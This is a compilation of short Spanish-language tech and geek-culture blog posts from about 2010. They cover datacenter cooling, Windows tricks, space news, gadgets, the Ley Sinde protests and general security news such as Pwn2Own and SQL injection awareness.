Hay dos cosas infinitas: el Universo y la …

Otro vídeo.

Enfría tu servidor con agua de mar

Por todos es sabido que cualquier CPD, por pequeño que sea, necesita una energía brutal en refrigeración aislada. Si vamos un paso más allá y analizamos sistemas clusters, datacenters, hpcc's y demás engendros, veremos que esas necesidades se multiplican por mil. Es tanto su consumo que pone en riesgo su posible instalación y hasta el que una gran empresa se vaya a pique.

En Mauritania, un grupo de inversores, planea crear un nuevo sistema de refrigeración que extraería agua del mar y la usaría para enfriar los equipos. El proyecto consiste en construir un sistema de tuberías que se internaría tres kilómetros mar adentro y a unos mil metros de profundidad, tomaría el agua fría del océano y la transportaría al datacenter.

Agenda Circling Forth

Agenda Circling Forth es una demo creada por Fairlight y Carillon & Cyberiad, ganadora de la BreakPoint 2010 party en la modalidad de PC Demo.

Fuente.

El "God Mode" en Windows 7 (y en Vista 32 bits)

Windows

Simplemente crea una carpeta en el escritorio con el nombre:

loquequieras.{ED7BA470-8E54-465E-825C-99712043E01C}

Dentro podrás acceder a todas las opciones del panel de control en una sóla lista.

No es más que una carpeta donde acceder a todas las opciones del Panel de Control, pero es interesante. Puede ser un buen método de emergencia para acceder al Panel de Control.

Funciona en Windows 7 y Vista 32 bits (en la 64 genera un error).

La Estación Espacial Internacional atravesando una …

A una velocidad de 28.000 Km/h, ESPECTACULAR.

Visto en UniverseToday.

Cortinas solares

Esto no es ninguna mala idea. Tener unas cortinas conectadas a una base, la cual básicamente contiene una batería que se recarga con la energía solar que reciben las cortinas durante el día. Dicha base a su vez contiene conectores USB. Así por la noche mientras dormimos podemos dejar cargando nuestro móvil, iPod, etc.

Enlace original.

Time lapse + HDR + HD

El autor es Aaron Patterson. Ha tenido que ser una ardua tarea: tres meses y medio de su tiempo, incontables horas de disparo, más de 600 horas de retoque fotográfico (6 horas al día) y alrededor de 10.000 fotos y 300 GB de información.

→ Uno más uno no siempre es dos. A título personal diré que el video me parece muy bonito y tal... pero no creo que mezclar dos técnicas tan buenas por separado (una de foto y otra de video) vayan a dar un resultado igual de bueno. Un video de río-puente-cielo-puente-río-cielo-puente... es muy insuficiente. No se puede utilizar un medio como un fin y lo explico: UNA sola foto debe transmitir todo un mundo de sensaciones e historias y ese es su FIN. Un MEDIO, como el HDR que es una técnica informatizada, debe ser trabajado para alcanzar el concepto o la idea que quieres transmitir. Si un trabajo es bueno éste hablara por si solo pero si se necesita decir las 600 horas de trabajo, los 300 gigas utilizados o que has sudado sangre para que se reconozca tu trabajo... puede que no tenga el nivel que esperabas y que se haya invertido mal el tiempo. El obturador de una cámara sufre tanto en un time-lapse que si no estas seguro de que el resultado no va a ser bueno no lo hagas.

Vídeo tutoriales de Vim

Dentro de la parcela de los editores de texto en sistemas Linux, podemos encontrar aquellos que se decantan por Emacs y aquellos que prefieren Vim.

Una de las grandes ventajas de Vim es que viene instalado en prácticamente cualquier sistema operativo *nix, por lo tanto conocer el uso de este editor es una gran ventaja, ya que nunca te cogerá en fuera de juego si tienes que editar algún fichero del sistema y todo lo que dispones es de una consola de texto.

Expón tu arte digital en Grupo PK

Copio y pego:

"

Somos Grupo Pk, un colectivo de artistas que desarrollan su actividad de manera colectiva o individual pero siempre dirigiendo su actividad a la promoción del valor del arte digital en la sociedad.Nuestro objetivo es ofrecer un espacio abierto a aquel que esté interesado por la creación artística mediante tratamiento digital. La intención es crear un espacio de reflexión y experimentación donde todo el que quiera pueda participar de manera activa alojando sus trabajos en nuestra galería e incluso participando en exposiciones individuales o comunes. En estos momentos estamos promocionando el concurso Siglo XXII en el que ofrecemos la posibilidad de exponer gratuitamente y sin coste alguno en el Centro de Arte Tomás y Valiente de Fuenlabrada junto con 15 artistas digitales más, durante el mes de julio a septiembre de 2010.

Diseccionando un WiFi iPad

El iPad salió a la venta en EEUU ayer y los chicos de iFixit ya han diseccionado uno para mostrarnos todos sus secretos. En concreto es el modelo WiFi A1219

Realmente, como todo lo que hace Apple, es una maravilla de la electrónica.

No te pierdas las fotos  y la disección en iFixit y visto en HackADay.

Buenas noches Spirit ...

Spirit ha entrado el día 1 de Abril en su modo hibernación para intentar superar el duro invierno marciano, tal y como indican desde la NASA JPL. Exactamente en la fecha Sol 2218, vía UHF y desde su ubicación en el cráter Gusev, Spirit ha dejado de emitir cualquier señal desde la superficie del Planeta Rojo ...

Nos vemos en verano (marciano) Spirit.

Visto en UniverseToday.

Satélite Mimas Vs Estrella de la Muerte

Es un satélite de Saturno y posee un enorme cráter de 139 Km de longitud y 5 Km de profundidad que fue provocado por el impacto, presumiblemente, de un meteorito al estrellarse contra su superficie.

Visto en abadiadigital.com

Sigue Sigue Sputnik, para levantarse este domingo

Me encantaba este grupo cuando era jóven ;) , no puedo evitar asociarlo al mi época del MSX y por supuesto a una película mítica de los 80, “Todo en un día” o “Ferris Bueller’s day off” (que si no la has visto, no te la puedes perder).

Estética CyberPunk pero con puro Punk Rock, fueron muy populares en los 80 y 90.

El mejor disco, “Flaunt it”:

El botón de reinicio del universo

...pufff! pues el botón de reinicio siempre es más pequeño que el de encendido... :-)

Visto en soygik.com

¿Cuántos lenguajes de programación conoces basado …

En este enlace tienes 22 'Hello world' sentencias escritas en 22 lenguajes de programación distintos. Una vez hagas click en el botón 'Ready? Click to start' tienes 5 minutos para escribir los lenguajes que identifiques.

Una vez hayas terminado, puedes ver unas estadísticas de aciertos. En el momento de escribir esta entrada el lenguaje mas conocido es C y el menos AppleScript.

Quake 2 escrito en Javascript y HTML5

Originalmente los autores de este proyecto escribieron una versión en Java llamada Jake2. Luego usaron GWT para convertir el código de Java a Javascript y con la ayuda de WebGL, el API del Canvas y algunas otras novedades del nuevo HTML5 han llegado a esta impresionante versión de Quake 2 jugable desde el propio navegador.

Esta es la web del proyecto, desde la que entre otras cosas te puedes descargar el código fuente.

Agenda de exposiciones de fotografía: ABRIL

Fotografía de Diane Varner de la galería The Gift of Summer Light

Si sabéis de alguna exposición podéis actualizarlo en los comentarios. También si exponéis en algún sitio y queréis promocionaros, desde aquí os invitamos a que lo hagáis libremente, dejad vuestros datos.

→ Gracias, Guillermo, por tu aportación. Estás en el primero. :-)

Barcelona

Guillermo Pérez. Words of light Somis Cocktail Lounge, c/ Calabria 292, esquina Josep Tarradellas. Precio entrada: gratuita Fechas: Comienza el 8 de abril

Cómo hacer tu propio cargador de iPod para tu …

En geektechnique.org publican un extenso paso a paso, con fotos incluidas, de como hacer un cargador casero para tu iPod conectado a tu bicicleta.

Nueva interfaz de la tira geek xkcd

Impresionante la interfaz que han implementado en la web xkcd.com, la famosa tira geek.

La nueva interfaz pretende emular una shell o línea de comandos a través de la cual podemos navegar por las distintas tiras o por la propia web en general.

Ahora mismo dispones de los siguientes comandos:

next : te lleva a la siguiente tira. Si acabas de abrir la página y ejecutas este comando, te devolverá un error diciendo que la imagen no existe. Esto es porque ya estás viendo la última tira y no hay una siguiente. prev : visualiza la tira anterior first : muestra la primera tira. last : muestra la última. display : muestra una tira determinada. random : muestra una tira aleatoria.

Galactic Empire State of Mind o el Rap de Star …

See more funny videos and funny pictures at CollegeHumor.

Visto en io9.

Si quieres ver la letra (en inglés) sigue leyendo …

10 tarjetas de negocios Geeks

Desde mi punto de vista, una tarjeta de negocios puede ser tan importante como curriculum. Dos cosas distintas, pero cuya finalidad van cogidas de la mano, hacer dinero :-)

Pop Up Geek

Google Me

La cardapult

Spirograph

All Geared Up

Things - Adam Mayer Digitally Designed Geared Business Cards from Bre Pettis on Vimeo.

JiJi, comprime ficheros autoextraibles

 

Windows

Me explico mejor, con JiJi puedes unir múltiples ficheros en uno sólo autoextraible. Estos ficheros se comprimen y luego tienen una autoextracción automática. Soporta más de 15 tipos diferentes de formatos de compresión como tar, 7zip, iso, arj, lzma, cab, z, rar, bz2, gz, jar, nsis, chm, ... etc.

Muy útil para enviar programas empaquetados por email o incluso para distribuir programas en máquinas clientes de nuestra red.

Cómo NO cablear

Si el otro día vimos el arte de cablear en el post que nos trajo Cybercaronte. Aquí os dejo algunas fotos de cómo NO cablear.

Podéis ver más aquí.

Ya vimos el episodio 6x09 de "Lost" ... y nos …

Ya comentamos en CyberHades que los guionistas de Lost iban a dar una definición de la Isla en el episodio 6x09 "Ab Aeterno" ... pero nada. Al contrario, más dudas y sobre todo miedo al final de la serie, ya que cada vez más se nota que no tienen muy claro cómo conectar todos estos años de Lost. Por lo tanto, se precipita un final que no tiene buena pinta ... eso sí, el episodio está muy bien, con sorpresa inicial incluida.

El LHC realiza las primeras colisiones

El colisionador de hadrones, poco después de las 13.oo horas de hoy, ha conseguido realizar las primeras colisiones de partículas a alta energía (mi primera colisión chispas,!! jeje) y de momento no se ha destruido el mundo ;-)

Esta primera colisión se ha realizado con haces que viajaban a 3,5 TeV, con lo que la energía final del experimento ha sido de 7 TeV.  Con esto que ya se puede iniciar el programa de física del LHC.

La lección de Eduard Punset a la "ministra de …

Con dos cojones … y encima con elegancia.

No te pierdas el video, no tiene desperdicio.

¡Viva Punset!

Visto en Menéame.

El cómic en el que debutó Superman vendido por 1,5 …

El cómic original en el que debutó Superman (Action Comics Superman) en 1938, fue vendido ayer lunes en una subasta por 1,5 millones de dólares, batiendo así todos los récords de la venta de cómics.

Fuente original.

La lanzadera espacial de la NASA funciona con un …

Sí, has leído bien, el ordenador que controla la lanzadera funciona con un sólo megabyte de RAM, de acuerdo con este artículo.

Por lo visto este ordenador funciona con un hardware bastante antiguo, unos 30 años, aunque el que use 1 MB de RAM es consecuencia de una actualización que dicho sistema sufrió en 1991. Obviamente este sistema no tiene que tratar con gráficos ni nada por el estilo, sino con el procesamiento de datos puro y duro, aunque todavía tenga que hacer todo tipo de operaciones complicadas con dichos datos.

Tatuaje con Realidad Aumentada

Visto en Asylum

Los Data Center más alucinantes

Puro arte, esto sí que es saber cablear e instalar armarios rack en condiciones. Sobre todo fijáos en las fotos del Data Center del ISP más grande de Suecia, es alucinante (menudas oficinas). Luego al final hay alguna selección del cableado hecho arte, alucinante.

Todo el artículo con más fotos en HackNMod.

AVG Rescue CD (o USB), limpiando de virus el …

Linux / Windows

Todos conocemos el fantástico antivirus gratuito AVG, pero yo no tenía ni idea de que existía una versión en CD (también USB) y arrancable. ¿Para qué arrancar con este CD?, muy sencillo, la mejor forma de eliminar un virus o software malicioso es haciendo un arranque limpio desde un dispositivo externo (CD, usb, etc ...) y luego hacer la limpieza del disco duro. De esta forma evitamos cualquier tipo de ejecución no deseada de este software malicioso o también nos aseguramos así de poder eliminarlo o desinfectarlo.

Windows PowerShell Cookbook

Windows PowerSheell Cookbook es un libro sobre el PowerShell de Windows de la editorial O'Reilly cuyo contenido han publicado con licencia Creative Commons Attribute 3.0.

Es una nueva forma que dicha editorial esta poniendo en práctica para recibir los comentarios de los usuarios. Por lo que a nosotros los usuarios nos concierna y desde mi punto de vista es una gran iniciativa ya que tenemos acceso al contenido del libro de forma gratuita. Por último añadir que este libro todavía está en una fase de desarrollo.

Apolo XIII, lo que podría haber ocurrido

 

La historia del Apolo XIII tuvo un final feliz, pero cuando la nave volvió a la Tierra después de abortar la misión a la Luna en 1970, nadie estaba seguro si podría conseguir el ángulo correcto para entrar en la atmósfera o rebotaría hacia el Espacio.

El escritor del libro "A man on the Moon", Andrew Chaikin, explica en este video una simulación con lo que podría haber pasado.

Nuevo iPod

Foto original.

Bases de datos del mundo mundial

¿Cuántas veces has necesitado incluir en tu aplicación las ciudades de tu país, los códigos postales, las capitales, etc?

Geonames es lo que has necesitado. Este impresionante proyecto nos pone en bandeja todo tipo de información geográfica. Con información geográfica (población, altitud, etc) sobre más de 7 millones de lugares alrededor del planeta . Todo propiamente categorizado para facilitarnos su búsqueda.

Además de poder acceder a la información a través de su web, también nos podemos bajar la base de datos, que se genera de forma diaria para reflejar los cambios que se produzcan a diario. Si el bajarnos la base de datos no es una opción, entonces puedes usar los servicios web (Web Services), a través de los cuales puedes acceder a la misma información, pero sin tener que bajarte nada.

Ms. Pac-Man escrito en Java + código fuente

Sábado noche, de vuelta a casa solía echar de vez en cuando una partidita al Pac-Man en un bar que me cogía de camino. Esta noche, acabo de llegar a casa y me encuentro en mis feeds con este link. Un Pac-Man escrito en Java que se ejecuta en un applet, por lo tanto puedes jugar desde el navegador y no sólo eso, si no que para aquellos curiosos también te puedes bajar el código fuente del mismo.

Que tiempos!

Google ¿da miedo a los hackers?

En esta su cuarta edición, Pwn2Own 2010, está a punto de cerrar sus puertas.Pwn2Own es un concurso de seguridad en el que se ponen a prueba los navegadores y dispositivos móviles de más relevancia a día de hoy. El concursante que consiga tumbar el navegador o dispositivo móvil, no sólo se lleva consigo el equipo que haya conseguido hacker, sino que a demás se lleva $10.000, si es un navegador y $15.000 si es un móvil.

Servicio online de búsqueda de hashes MD5

Un hash es la forma más común a la hora de guardar una contraseña en una base de datos. Por que es un mecanismo de cifrado de sólo un camino, lo que quiere decir que a través del hash no podemos averiguar la contraseña, a menos, que generemos los hashes para todas las contraseñas conocidas y los guardemos en algún medio que nos permita su búsqueda a posteriori, como una base de datos.

Ya son muchos los servicios online que almacenan bases de datos gigantes con millones de hashes pregenerados, también conocidas como Rainbow Tables y de las que ya en cyberhades hemos hecho referencia alguna vez.

Hasta la última gota de tu pasta dentífrica

Me ha llamado la atención este invento (no es muy geek su utilidad pero tiene un diseño sencillo y funcional) para sacar hasta la última gota de por ejemplo tu pasta dentífrica o cuaquier otro producto con el mismo tipo de envase de tubo.

Hay varios colores y se coloca en la pared. Es barato y el sistema es similar al de la apertura de una lata de sardinas.

OpenStreetMap, el mapa en "abierto"

Encuentras zonas de googlemaps que no estan definidas y te gustaría cambiarlas... pues esta es tu solución. OpenStreetMap.org es un wikimapa muy sencillo de utilizar. Con solo registarte puedes editar el mapa y actualizar la zona donde vives o que mejor conozcas. Puedes exportar imagenes, realizar trazados de gps o crear tu diario de viaje y contar como vas actualizando, poco a poco, tu mundo.

Splitting the Atom, Massive Attack

Massive Attack-Splitting the Atom-directed by Edouard Salier from edouard salier on Vimeo.

Espectacular video del grupo Massive Attack, todo hecho por ordenador en 3D y en blanco y negro. Una ciudad está siendo atacada por un monstruo gigante pero la acción está totalmente congelada y la cámara se mueve entre los edificios, helicópteros, etc ...

Visto en io9.

Dead Computer Contest, reutilizando ordenadores

El Dead Computer Contest es un concurso organizado por la fantástica web de Instructables donde se premia al mejor proyecto que recicle ordenadores viejos (piezas también) o estropeados, y les ofrezca una nueva utilidad.

Algunos ejemplos:

Cómo actualizar tu Apple Macintosh original de 1984 con OS X Snow Leopard

Hacer una cama para gatos con la carcasa de un monitor

Disfraz de Cyborg, parte humano y parte hecho con piezas de ordenadores

Así aprueba cualquiera

Con ese tipo de preguntas también apruebo yo :-)

Foto original.

Póster del framework .NET

Para aquellos que estéis inmersos en la programación bajo la plataforma .NET o tengáis intención de empezar con ella, aquí os dejo algunos enlaces a varios póster de referencia de distintas versiones de dicha plataforma:

• .NET 2.0
• .NET 3.5
• .NET 3.5 SP1 + .NET 4.0

Enlace original.

Los números en la Naturaleza

 

Nature by Numbers from Cristóbal Vila on Vimeo.

Bonito corto donde se muestra la influencia de los números en la Naturaleza.

Música del genial Win Mertens (canción, Often A Bird)

Visto en: GeeksAreSexy

17 Errores (y medio) que debes evitar en una …

Desde el blog de Chema Alonso (que ya tiene experiencia en esto de hacer presentaciones tecnológicas) nos muestra junto a Gonzalo Álvarez de Marañón estos 17 consejos (y medio) para hacer en la medida de lo posible, una buena presentación técnica.

Muy útiles.

Chema Alonso, 17 Errores y medio en una presentación técnica

El Arte de Presentar

Binary Flow: el nuevo reloj de TokyoFlash

Me atrevería a decir que este es el reloj más raro y complicado de los que han presentado los tokioflash. El primero de la marca que utiliza tinta electrónica y un manual que rivaliza con el quijote. Cualquier informático que se precie sabe leer en binario pero tendrías que ser Sheldon de The Big Band Theory para realizar la traducción en un segundo... :-)

Instrucciones: se divide en 2 secciones, cada una con 3 partes, la primera sección corresponde a la hora: hora, decenas de minuto y unidades de minuto; y la segunda sección a la fecha: mes, decenas de día y unidades de día. Para facilitar marca con un punto las cifras 3 y 9, y si quieres hacerlo más complicado también se puede leer en binario.

Segundo boletín de seguridad TI 2010

Desde InfoSpayware.com nos llega su segundo boletín de seguridad de este año.

Entre otras cosas podrás encontrar: curiosidades, trucos de seguridad y mucho más.

Lo que fueron y lo que son

En esta entrada os quiero dejar una curiosa lista de las 50 webs de mayor repercusión/importancia en 1998 y el puesto que ocupan actualmente en 2010, según Alexa.

AOL.COM 1998: 1; 2010: 46 YAHOO.COM 1998: 2; 2010: 3 GEOCITIES.COM 1998: 3; 2010: 1,778 MSN.COM 1998: 4; 2010: 13 NETSCAPE.COM 1998: 5; 2010: 3,676 EXCITE.COM 1998: 6; 2010: 726 LYCOS.COM 1998: 7; 2010: 1,335 MICROSOFT.COM 1998: 8; 2010: 22 BLUEMOUNTAINARTS.COM 1998: 9; 2010: 18,448,258 INFOSEEK SITES 1998: 10; 2010: 663,973 ALTAVISTA SEARCH 1998: 11; 2010: 2069 TRIPOD.COM 1998: 12; 2010: 400 XOOM.COM 1998: 13; 2010: 7,684 ANGELFIRE.COM 1998: 14; 2010: 745 HOTMAIL.COM 1998: 15; 2010: 1,417 AMAZON.COM 1998: 16; 2010: 11 REAL.COM 1998: 17; 2010: 1,324 ZDNET.COM 1998: 18; 2010: 669 HOTBOT.COM 1998: 19; 2010: 21,303 INFOSPACE.COM 1998: 20; 2010: 1,447 EBAY.COM 1998: 21; 2010: 7 DISNEY ONLINE 1998: 22; 2010: 117 SNAP.COM 1998: 23; 2010: 2,486 WEATHER.COM 1998: 24; 2010: 24 ICQ.COM 1998: 25; 2010: 402 BARNES & NOBLE 1998: 26; 2010: 227 SIMPLENET.COM 1998: 27; 2010: 207,614 CNN.COM 1998: 28; 2010: 18 MSNBC.COM 1998: 29; 2010: 750 PATHFINDER.COM 1998: 30; 2010: 28,694 MININGCO.COM 1998: 31; 2010: 1,814,486 DIGITALCITY.COM 1998: 32; 2010: 548,385 ESPN 1998: 33; 2010: 20 LOOKSMART.COM 1998: 34; 2010: 7,350 ETOYS.COM 1998: 35; 2010: 30,376 SONY ONLINE 1998: 36; 2010: 744 BONZI.COM 1998: 37; 2010: 1,379,611 FORTUNECITY.COM 1998: 38; 2010: 3,925 CNET SOFTWARE 1998: 39; 2010: 36 SWITCHBOARD.COM 1998: 40; 2010: 3,375 EARTHLINK.NET 1998: 41; 2010: 146 MAPQUEST.COM 1998: 42; 2010: 56 WARNER BROS. ONLINE 1998: 43; 2010: 783 ATT.NET 1998: 44; 2010: 175 WEBCRAWLER.COM 1998: 45; 2010: 686 GOTO.COM 1998: 46; 2010: 1,171,981 EGGHEAD.COM 1998: 47; 2010: 18,750,018 COMPUSERVE.COM 1998: 48; 2010: 5,445 CDNOW.COM 1998: 49; 2010: 1,663,586 MUSICBLVD.COM 1998: 50; 2010: 3,220,606

Disección de un Atari 1040STf

Si hubo alguna máquina que le pudo hacer algo de sombra al fantástico Amiga en los 80, esa fue el Atari ST, ya que tenían unas características similares. De todas formas, la batalla la ganó Commodore con su imbatible Amiga.

Atari 1040STf

Tenía una CPU Motorola 68000 y una memoria de 512KB. Usaba el S.O. Atari TOS y salió a la venta en 1985.

Toda la disección, de PCWorld, aquí.

Usando sujetapapeles para sujetar cables

Muy buena idea que hemos visto en LifeHacker para sujetar esos cables rebeldes que nunca encuentras en tu escritorio cuando más los necesitas, usando un sujetapapeles (clip) de esos que no cuestan ni un euro.

Simplemente genial.

Vídeos de la HITBSecConf2009

Los vídeos de la última Hack In The Box celebrada en Malasia el pasado del 5 al 8 de Octubre 2009 están disponible para descarga.

Esta es la lista de conferenciantes:

1.) Alex ‘kuza55’ Kouzemtchenko (Associate Consultant, statsec)

2.) Alexander Gazet (Sogeti ESEC Research & Development)

3.) Andrea Barisani (Chief Security Engineer, Inverse Path)

4.) Babak Javadi (TOOOL USA)

5.) Bruno Goncalves de Oliveira (Computer Engineer, iBLISS)

6.) Chris Evans (Information Security Engineer/Troublemaker/Chrome Security, Google Corp)

Anunciada la nueva consola portátil de Nintendo, …

 

Imágen: http://ds.kombo.com/article.php?artid=7952

Básicamente, uniendo las tecnologías de la DSi y la DS tendremos la nueva 3DS, que incorporará tecnología 3D real. No necesitaremos gafas especiales y saldrá presumiblemente en Marzo de 2011.

No hay mucho más, ya que el escueto comunicado de Nintendo ha sido así de simple.

Una idea de lo que podremos obtener lo podemos ver en este video de un nuevo juego publicado sólo en Japón donde se usa la cámara de la DSi para obtener un efecto de 3D (siguiendo el movimiento de la cabeza) realmente impresionante: 

De espaldas al ciudadano, se aprueba la "Ley …

No puedo dejar de sorprenderme después de la tremenda cara dura de este gobierno. A traición y en mitad de un puente, hacen un consejo de ministros (lo pongo en minúsculas), encima en otra ciudad (Sevilla) con los gastos que eso acarrea en plena crisis dicho sea de paso, y nos meten la "Ley Sinde" por la cara, ignorando a miles (mejor dicho, millones) de ciudadanos (e incluso jueces) que están en contra de ella y se aprueba sólo para favorecer a unos pocos (los que tienen o quieren la pasta).

Lavar, Enjuagar y Centrifugar (corto)

No nos gusta hablar de política en CyberHades, pero es que es que la situación ya empieza a ser realmente insorportable.

Impresionante corto de Frederico Teixeira, ganador de un concurso de la BBC llamado "MyWorld", mejor explicado imposible.

Visto en menéame.

Las espectaculares miniaturas de Adam Beane

Alucinante el nivel de realismo de todas las figuras. Usa un material llamado CX5, muy versátil, que él mismo ha diseñado. Lo utiliza para moldear cuando está caliente (blando) y se vuelve duro cuando se enfría.

Aquí tienes su colección.

Visto en TheFireWire.

El escáner más rápido del mundo

Nos llega desde la Universidad de Tokyo y es capaz de escanear 200 páginas por minuto. Dispone de una cámara de alta velocidad, operan a 500 fps. La cámara toma dos imágenes por página, una con la luz natural y la siguiente después de que un dispositivo láser proyecto unas líneas sobre la página. Esto es debido porque la foto que toma la cámara es una página curva y deformada. Gracias al patrón láser proyectado previamente, el software que procesa dicha imagen es capaz de hacer una representación en 3D de la página y hacer la reconstrucción plana de dicha toma.

Inyección de código SQL en los sistemas de tráfico

Cuando vi la foto por primera vez, me lo tomé con humor, pero después de meditar un poco esto podría ser perfectamente válido.

La regla de oro para evitar la inyección de SQL es limpiar los datos datos de entrada. Claro cuando un piensa en la entrada de datos, piensa en un usuario detrás de un teclado, aunque los datos no provengan directamente de un formulario, un usuario puede esnifar tráfico, modificarlo y reenviarlo, etc. Al final es un usuario detrás de un teclado.

stackoverflow sobre hacking y seguridad

En la web de SecurityTube.net, un sitio que alberga una gran cantidad de vídeos sobre seguridad y hacking, han creado un subproyecto llamado Questions, que para aquellos que conozcan la magnífica stackoverflow, les resultará muy familiar.

Questions es prácticamente una copia de stackoverflow, pero orientado sólo a la seguridad y hacking. Otro gran recurso para tener en nuestros marcadores y visitar a menudo.

Curso de desarrollo de aplicaciones libre y código …

Desde la Universidad Nacional Australiana nos regalan un curso de desarrollo de aplicaciones FOSS (Free and Open Source Software) o aplicaciones libres y de código abierto totalmente gratuito.

El curso está compuesto de 15 clases que, además del vídeo de la clase, también disponemos para descarga la documentación en la que se basa dicha charla.

¡Muchas gracias!

Scala para niños

Scala es una lenguaje de programación de esos que corren en una máquina virtual de Java, aunque también existe un compilador para .NET. Es un lenguaje tanto funcional como orientado a objetos.

Pero en esto post no quiero hablar de Scala en sí, si no de Kojo.

Kojo es un entorno de programación (IDE) diseñado para niños (y para mayores) que quieran aprender a programar. Está basado en Scala. Dispone de un constructor de geometría, algebra, así como una tortuga para dibujar tipo Logo, etc. Al estar basado en Java, eso es todo lo que necesitas en tu sistema para poder usarlo. Eso sí, neceistas la versión 6.

Las 10 aplicaciones portables más descargadas

Según esta entrada que publican en makeuseof, esta es la lista de las aplicaciones portables más descargadas:

1.- winPenPack Flash 1GB Esta, más que una aplicación es un conjunto de aplicaciones portables esenciales para cualquier técnico informático. Con un total de más de 100 aplicaciones y como su nombre indica, este conjunto esta preparado para una memoria flash de al menos un 1GB.

2.- Little Registry Cleaner Portable Edition Esta pequeña aplicación nos ayudará a limpiar el registro de Windows.

Construye tu propia carcasa acuática para tu …

En la magnífica web de instructables, nos enseñan paso a paso como crear una carcasa para nuestra cámara de vídeo que nos permite sumergirla bajo el agua.

Aquí os dejo un vídeo del invento en práctica.

Aquí tenéis el artículo paso a paso.

¡OJO!, En cyberhades no nos hacemos responsables si te cargas tu cámara :-) Así que cuidado.

Visto en lifehacker.

Integra Gmail en tu escritorio Gnome

Gnome Gmail es un proyecto que puedes instalar en tu sistema para integrar Gmail en el escritorio, siempre y cuando uses Gnome. Obviamente si no usas Gnome o Gmail esto no tiene ningún sentido.

Entre otras cosas, este proyecto nos permite seleccionar Gmail como nuestro lector de correo electrónico predeterminado. También se integra en Nautilus, el explorador de Gnome, de forma que cuando hacemos click con el botón derecha sobre sobre un elemento y escogemos “Enviar a…” (Send to) nos aparecerá Gmail como una opción más.

Antorchas en la biblioteca

La llamada Ley de Sinde, de la que nuestro compañero Kentar ya nos informó, que como es normal está dando mucho que hablar.

De hecho en la Universidad Politécnica de Madrid, se celebró el pasado 3 de Marzo un seminario sobre la Ley de Economía Sostenible. En el cual el abogado D. Carlos Sánchez Almeida dio una charla sobre como el gobierno quiere evitar a los jueces a la hora de cerrar una web, porque eso no va a funcionar o como las grandes empresas están adaptando su modelo de negocios para adaptarlos a Internet. Como dice al final de su charla, también, de alguna forma quería responder a Umberto Eco, quien dio una charla en Sevilla hace poco, donde atacaba a Internet. Para ello el abogado lee, bueno lo lee la Dra. Simona Levi, un extracto de una conferencia que el mismo Umberto Eco ofreció en 1981 titulado “Biblioteca”, donde el autor auguraba parte de los que hoy en día es Internet.

Oficinas de Yahoo! en Toronto, Canadá

Podéis ver algunas más en Lifehacker.

Por la libertad de la red. NO AL CIERRE DE WEBS

Aceptada por el Consejo de Ministros sin ninguna modificación la Ley Antidescargas.

Hoy, Dia del Padre, cuando una gran mayoría de gente de fiesta se reunen y aprueban la Ley Sinde, haciendo el menor ruido posible.

Hicieron la pantomima de “escuchar” a un grupo de internautas, con la idea de calmar los ánimos. Pero la búsqueda de un consenso era solo de cara a la galería y para hacerse la foto.

Mejora tus habilidades como Pen-Tester

Actualmente no sólo los profesionales que se dedican a hacer auditorías de seguridad de aplicaciones web o redes son los únicos que deberían de conocer al menos las técnicas básicas de penetración (en sistemas informáticos!! mal pensado!) como SQL Injection o Cross Site Scripting (XSS), sino que también los responsables de un proyecto web, deberían tener un conocimiento mínimo sobre estas técnicas. De forma que puedan aplicar ciertos mecanismos de seguridad a sus aplicaciones para evitar que estas sean vulneradas.

Y que mejor forma de defenderse, que sabiendo como vamos a ser atacados. Formas de ser atacados hay millones y seguro que siempre se nos queda muchas en el tintero, pero como dije, un mínimo de conocimiento es necesario para por lo menos quitarnos del medio a los script kiddies.

Por fin, un exoplaneta "Normal"

 

Otro planeta más encontrado por el satélite CoRoT, pero aunque es otro gigante gaseoso, parece que tiene temperaturas lo suficientementemente "normales" para mantener agua líquida. Orbita alrededor de una estrella como el Sol a una distancia similar a Mercurio.

Se llama Corot.9b y está localizado a 1.500 años luz de distancia en la constelación de la Serpiente. El tránsito ocurre cada 95 días. Las temperaturas que tiene el planeta rondan entre los -23º y los 157º. Tiene un radio 1.05 veces el de Júpiter pero sólo un 84% de su masa.

Por fin, iPad multitarea

Aquí podéis ver algunas fotos más :-)

Material de la MIX10 disponible para descarga

MIX10 es una conferencia organizada por Microsoft orientada a diseñadores y desarrolladores web celebrada en Las Vegas los pasados 15, 16 y 17 de Marzo.

Si no has podido asistir a dicha conferencia y estás interesado en alguna o ¡todas! las charlas ya las puedes descargar desde aquí.

Cubo de Rubik para ciegos

Foto original.

Flex Gangsta - Who broke the build?

Ex-empleado deshabilita más de 100 coches …

Un concesionario de coches en Austin, Texas, recibió las quejas de más de 100 de sus clientes por problemas con su coche. Algunos no podían arrancar el coche y otros se quejaban de que el coche empezaba a pitar de forma descontrolada por las noches y la única forma de pararlo era desconectando la batería del mismo. Suena gracioso, pero ponte en su situación!

El concesionario se dio cuenta de dónde venía el problema cuando reiniciaban unas cajas negras que instalan detrás del salpicadero de sus coches. Estás cajas se comunican con un sistema central (sitio web) a través de un sistema de mensajes (paging system) y son usadas para inmovilizar el vehículo en caso de que el cliente deje de pagar (Pay Techologies).

X-top, el portátil Xbox

Todo el proceso de fabricación ampliamente explicado aquí.

Visto en HackADay.

El hombre que era alérgico a la ondas de radio

Cabaña donde vive Per Sergerbäck, libre de todo aparato eléctrico.

El cielo está lleno de ondas electromagnéticas, ciento de miles que de momento, parece que no afectan directamente a la salud del ser humano. Estamos empezando a comprerder poco a poco el impacto sobre nosotros y cómo puede llegar a afectar a gente como es el caso de Per Segerbäck.

Per Sergerbäck vive en una modesta cabaña en una reserva natural a 120Km al norte de Estocolmo. Con la compañía de osos y lobos, limita la visita de seres humanos porque la tecnología hace que se sienta efermo. El pasado verano fue a ver un vecino suyo y durante la conversación el teléfono sonó. Sergerbäck sintió náuseas y en pocos segundos estaba inconsciente.

Microsoft le da una vuelta de tuerca a su …

Últimamente todos los avances que más se escuchaban con respecto a las mejoras en los navegadores, eran sobre sus motores de javascript. Google nos trajo Chrome, presumiendo de que su motor, V8, era el más rápido. Luego nos llegó Firefox e integró TraceMonkey en su navegador, Opera en su última versión, parece que también han mejorado la velocidad de procesamiento de javascript, de Safari no se ha oído mucho desde mi punto de vista, al igual que Microsoft con su IE.

Pero me entero por varios medios, que Microsoft acaba de poner a disposición del público una versión de prueba de su flamante IE9. Del que entre otras características, podríamos destacar la aceleración por hardware (GPU) del renderizado de gráficos, implementación del nuevo estándar HTML5 y ojo al dato, su motor de javascript, Hachamovitch, capaz de aprovechar los microprocesadores multi-núcleos.

Programación de Commodore 64

